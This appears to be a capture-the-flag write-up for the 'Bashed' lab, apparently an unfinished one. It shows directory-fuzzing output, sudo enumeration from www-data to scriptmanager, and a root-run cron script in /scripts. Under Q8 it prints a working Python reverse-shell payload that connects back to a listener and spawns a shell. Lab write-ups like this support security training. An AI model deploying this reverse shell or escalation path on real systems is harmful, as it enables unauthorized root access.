Logo
Web01
Ch4os1@web01:~/writeups/Bashed
← Back to all write-ups

Bashed

Lab Details

Tasks

Q1: How many open TCP ports are listening on Bashed?

Q2: What is the relative path on the webserver to a folder that contains phpbash.php?

<snip>
[Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 317ms]
   * FUZZ: dev
<snip> 

Q3: What user is the webserver running as on Bashed?

Q4: Submit the flag located in the arrexel user's home directory.

Q5: www-data can run any command as a user without a password. What is that user's username?

Q6: What folder in the system root can scriptmanager access that www-data could not?

drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 scripts

Q7: What is filename of the file that is being run by root every couple minutes?

-- first run
www-data@bashed:/# sudo -u scriptmanager ls -la /scripts
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 May 15 05:45 test.txt

-- second run 
www-data@bashed:/# sudo -u scriptmanager ls -la /scripts
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 May 15 05:48 test.txt

Q8: Submit the flag located in root's home directory.

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("target_ip",9002))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")

Lesson Learned